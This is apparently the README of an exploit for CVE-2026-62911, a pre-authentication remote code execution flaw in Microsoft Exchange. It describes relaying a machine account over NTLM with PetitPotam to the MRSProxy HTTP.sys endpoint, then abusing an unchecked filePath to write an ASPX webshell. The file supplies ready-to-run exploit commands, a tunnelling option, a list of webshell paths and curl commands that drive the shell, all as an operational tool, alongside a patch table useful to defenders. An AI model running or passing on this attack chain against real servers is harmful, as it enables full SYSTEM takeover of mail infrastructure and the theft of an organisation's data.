## https://sploitus.com/exploit?id=780FD160-D0F4-52DF-9098-850E40DB1896
# CVE-2026-62911
Pre-auth RCE on Microsoft Exchange Server. No credentials needed.
Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.
## What it does
Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:
| Path | Hosted by | Extended Protection |
|------|-----------|---------------------|
| `/EWS/MRSProxy.svc` | IIS | Yes. Safe. |
| `/Microsoft.Exchange.MailboxReplicationService.ProxyService` | HTTP.sys | No. Relay target. |
The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold `ms-Exch-EPI-Token-Serialization` by default, so the WCF service grants full access.
Once inside, `IMailbox_Config6()` takes a `filePath` parameter. `PstDestinationMailbox.ConfigPst()` writes whatever path you give it. No extension check. Point it at an IIS directory, call `IMailbox_Connect()`, and a file lands on disk. Make that file an ASPX webshell. Done.
## The config that makes this possible
```xml
```
## WCF interface (relevant methods)
```csharp
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() β writes file at filePath
}
```
## Affected versions
| Product | Vulnerable below | Fixed | KB |
|---------|-----------------|-------|----|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.
## How the attack works
```
Attacker EX02 (trigger) EX01 (target)
β β β
βββ PetitPotam (MS-EFSR) βββΆβ β
β β β
ββββ NTLM auth (EX02$) ββββββ β
β β β
βββ relay NTLM βββββββββββββββββββββββββββββββββββββΆβ
β (to MRSProxy HTTP.sys) β
β β
βββ IMailbox_Config6(path=shell.aspx) ββββββββββββββΆβ
βββ IMailbox_Connect() βββββββββββββββββββββββββββββΆβ
β β file written
β β
βββ GET /aspnet_client/shell.aspx?cmd=whoami βββββββΆβ
ββββ nt authority\system βββββββββββββββββββββββββββββ
```
Five steps:
1. Trigger MS-EFSR (`EfsRpcOpenFileRaw`) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.
2. Your SMB listener grabs the NTLM negotiate from `EX02$`.
3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.
4. Send WCF calls: `IMailbox_Config6` with a path like `C:\inetpub\wwwroot\aspnet_client\shell.aspx`, then `IMailbox_Connect`. Exchange writes the file.
5. Hit the webshell. You're SYSTEM.
## Running it
Install dependencies:
```bash
pip install impacket pysocks
```
Check if MRSProxy is exposed:
```bash
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
```
You want to see `Microsoft-HTTPAPI/2.0` with `Negotiate` in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.
Run the exploit:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
```
If PetitPotam needs auth on your target:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
```
Through a SOCKS tunnel:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
```
Pick a different write location:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
```
Verify the shell landed:
```bash
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
```
Use it:
```bash
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
```
## Write paths that work
| Disk path | URL | Why |
|-----------|-----|-----|
| `C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx` | `/aspnet_client/system_web/shell.aspx` | Default IIS client scripts dir. Usually writable, serves ASPX. |
| `C:\inetpub\wwwroot\aspnet_client\shell.aspx` | `/aspnet_client/shell.aspx` | Same, shorter. |
| `...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx` | `/owa/auth/shell.aspx` | OWA auth folder. |
| `...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx` | `/ecp/auth/shell.aspx` | ECP auth folder. |
## References
- [MBBank VRED: Analysis of Exchange Server Pre-Auth](https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth)
- [Pwn2Own Berlin 2026, Day 2](https://www.zerodayinitiative.com/blog/2026/5/15/pwn2own-berlin-2026-day-two)
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62911)
- [KB5121576](https://support.microsoft.com/en-us/topic/kb5121576)
## Legal
For authorized testing only. Get written permission before running this against anything.